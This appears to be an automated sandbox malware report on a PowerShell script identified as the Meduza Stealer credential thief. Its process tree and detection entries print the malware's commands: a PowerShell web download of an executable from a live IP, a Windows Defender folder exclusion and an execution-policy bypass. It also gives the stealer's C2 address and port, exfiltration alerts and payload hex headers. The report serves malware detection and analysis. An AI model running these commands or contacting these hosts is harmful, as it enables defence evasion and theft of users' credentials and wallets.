Edit tour

Windows Analysis Report
script.ps1

Overview

General Information

Sample name:	script.ps1
Analysis ID:	1578093
MD5:	129bf31d3dc155699387ccc33f2f3775
SHA1:	1f43dcd5742a8f0b499892fd3e09255378817adc
SHA256:	b1d2df274b2539ad80debafc925c0cf6a2c2394093e57a8e1d0023d3fc13dba3
Tags:	DLLHijackMeduzaStealerps1user-NDA0E
Infos:

Detection

CredGrabber, Meduza Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CredGrabber

Yara detected Meduza Stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Powershell drops PE file

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Terminates after testing mutex exists (may check infected machine status)

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

powershell.exe (PID: 6152 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\script.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Launcher.exe (PID: 1848 cmdline: "C:\Windows\Temp\Launcher.exe" MD5: 2696D944FFBEF69510B0C826446FD748)

powershell.exe (PID: 4164 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 576 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7264 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xdnfl52f.civ.exe (PID: 7512 cmdline: "C:\Windows\Temp\xdnfl52f.civ.exe" MD5: C6813DA66EBA357D0DEAA48C2F7032B8)

cleanup

Malware Configuration

Threatname: Meduza Stealer

{"C2 url": "193.3.19.151", "grabber_max_size": 4194304, "anti_vm": true, "anti_dbg": true, "self_destruct": false, "extensions": ".txt", "build_name": "hdont", "links": "", "port": 15666}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Temp\xdnfl52f.civ.exe	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
Process Memory Space: xdnfl52f.civ.exe PID: 7512	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
Process Memory Space: xdnfl52f.civ.exe PID: 7512	JoeSecurity_CredGrabber	Yara detected CredGrabber	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
10.0.xdnfl52f.civ.exe.7ff75a670000.0.unpack	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
10.2.xdnfl52f.civ.exe.7ff75a670000.0.unpack	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 1848, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", ProcessId: 4164, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 1848, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", ProcessId: 4164, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'", CommandLine|base64offset|contains: *&, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 1848, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'", ProcessId: 7264, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 1848, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", ProcessId: 4164, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\script.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\script.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\script.ps1", ProcessId: 6152, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'", CommandLine|base64offset|contains: *&, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 1848, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'", ProcessId: 7264, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'", CommandLine|base64offset|contains: *&, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 1848, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'", ProcessId: 7264, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\script.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\script.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\script.ps1", ProcessId: 6152, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:53:04.832885+0100	2049441	1	A Network Trojan was detected	192.168.2.5	49709	193.3.19.151	15666	TCP

ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:53:04.832885+0100	2050806	1	A Network Trojan was detected	192.168.2.5	49709	193.3.19.151	15666	TCP
2024-12-19T08:53:04.952744+0100	2050806	1	A Network Trojan was detected	192.168.2.5	49709	193.3.19.151	15666	TCP

ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:53:04.832885+0100	2050807	1	A Network Trojan was detected	192.168.2.5	49709	193.3.19.151	15666	TCP
2024-12-19T08:53:04.952744+0100	2050807	1	A Network Trojan was detected	192.168.2.5	49709	193.3.19.151	15666	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:52:42.649350+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49704	147.45.47.15	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://147.45.47.15/duschno.exe	Avira URL Cloud: Label: malware
Source: http://147.45.47.15/Launcher.exe	Avira URL Cloud: Label: malware
Source: http://147.45.47.15/iviewers.dll	Avira URL Cloud: Label: malware

Found malware configuration

Source: 10.2.xdnfl52f.civ.exe.7ff75a670000.0.unpack

Malware Configuration Extractor: Meduza Stealer {"C2 url": "193.3.19.151", "grabber_max_size": 4194304, "anti_vm": true, "anti_dbg": true, "self_destruct": false, "extensions": ".txt", "build_name": "hdont", "links": "", "port": 15666}

Multi AV Scanner detection for dropped file

Source: C:\Windows\Temp\iviewers.dll	ReversingLabs: Detection: 26%
Source: C:\Windows\Temp\xdnfl52f.civ.exe	ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: script.ps1

Virustotal: Detection: 13%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.4% probability

Machine Learning detection for dropped file

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Joe Sandbox ML: detected

Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E7BA0 CryptUnprotectData,LocalFree,	10_2_00007FF75A6E7BA0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A7C20 CryptUnprotectData,LocalFree,_invalid_parameter_noinfo_noreturn,	10_2_00007FF75A6A7C20
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6A3A30 BCryptDestroyKey,	10_2_00007FF75A6A3A30
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E8020 BCryptDecrypt,BCryptDecrypt,_invalid_parameter_noinfo_noreturn,	10_2_00007FF75A6E8020
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E7EC0 CryptProtectData,LocalFree,	10_2_00007FF75A6E7EC0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E83C0 BCryptCloseAlgorithmProvider,_invalid_parameter_noinfo_noreturn,	10_2_00007FF75A6E83C0
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A6E8440 BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,	10_2_00007FF75A6E8440

Source: unknown

HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49710 version: TLS 1.2

Source:

Binary string: OLEView.pdb source: Launcher.exe, Launcher.exe, 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Launcher.exe.0.dr

Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A72B500 FindClose,FindFirstFileExW,GetLastError,		10_2_00007FF75A72B500
Source: C:\Windows\Temp\xdnfl52f.civ.exe	Code function: 10_2_00007FF75A72B5B0 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,		10_2_00007FF75A72B5B0

Source: C:\Windows\Temp\xdnfl52f.civ.exe

Code function: 10_2_00007FF75A6F73F0 GetLogicalDriveStringsW,_invalid_parameter_noinfo_noreturn,

10_2_00007FF75A6F73F0

Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\migration\	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\replacementmanifests\	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\migration\wtr\	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\	Jump to behavior
Source: C:\Windows\Temp\xdnfl52f.civ.exe	File opened: D:\sources\replacementmanifests\hwvid-migration-2\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049441 - Severity 1 - ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt : 192.168.2.5:49709 -> 193.3.19.151:15666
Source: Network traffic	Suricata IDS: 2050806 - Severity 1 - ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2 : 192.168.2.5:49709 -> 193.3.19.151:15666

Source: global traffic

TCP traffic: 192.168.2.5:49709 -> 193.3.19.151:15666

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 07:52:42 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 18 Dec 2024 13:27:42 GMTETag: "1800-6298b60de3f6f"Accept-Ranges: bytesContent-Length: 6144Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 93 65 61 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 0c 00 00 00 08 00 00 00 00 00 00 ae 2b 00 00 00 20 00 00 00 40 00 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 00 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 04 40 00 00 28 00 00 00 5c 2b 00 00 4f 00 00 00 00 60 00 00 b8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 0b 00 00 00 20 00 00 00 0c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 56 00 00 00 00 40 00 00 00 02 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 03 00 00 00 60 00 00 00 04 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 00 00 00 02 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 07:52:42 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 18 Dec 2024 13:27:42 GMTETag: "325e0-6298b60deeb4f"Accept-Ranges: bytesContent-Length: 206304Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ae 14 73 f9 ea 75 1d aa ea 75 1d aa ea 75 1d aa fe 1e 1e ab e2 75 1d aa fe 1e 1c ab fd 75 1d aa ea 75 1c aa ae 77 1d aa fe 1e 18 ab c4 75 1d aa fe 1e 19 ab a5 75 1d aa fe 1e e2 aa eb 75 1d aa fe 1e 1f ab eb 75 1d aa 52 69 63 68 ea 75 1d aa 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 9e e4 2e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 14 00 16 02 00 00 f2 00 00 00 00 00 00 a0 f0 01 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 05 00 01 00 00 00 00 00 00 30 03 00 00 04 00 00 26 47 03 00 02 00 40 c1 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 48 02 00 f0 00 00 00 00 60 02 00 90 96 00 00 00 00 00 00 00 00 00 00 00 04 03 00 e0 21 00 00 00 00 03 00 18 2a 00 00 f0 9e 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 9f 00 00 18 00 00 00 48 9f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 02 00 6c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 14 02 00 00 10 00 00 00 16 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 74 0e 00 00 00 30 02 00 00 08 00 00 00 1a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 2c 1d 00 00 00 40 02 00 00 1e 00 00 00 22 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 90 96 00 00 00 60 02 00 00 98 00 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 2a 00 00 00 00 03 00 00 2c 00 00 00 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
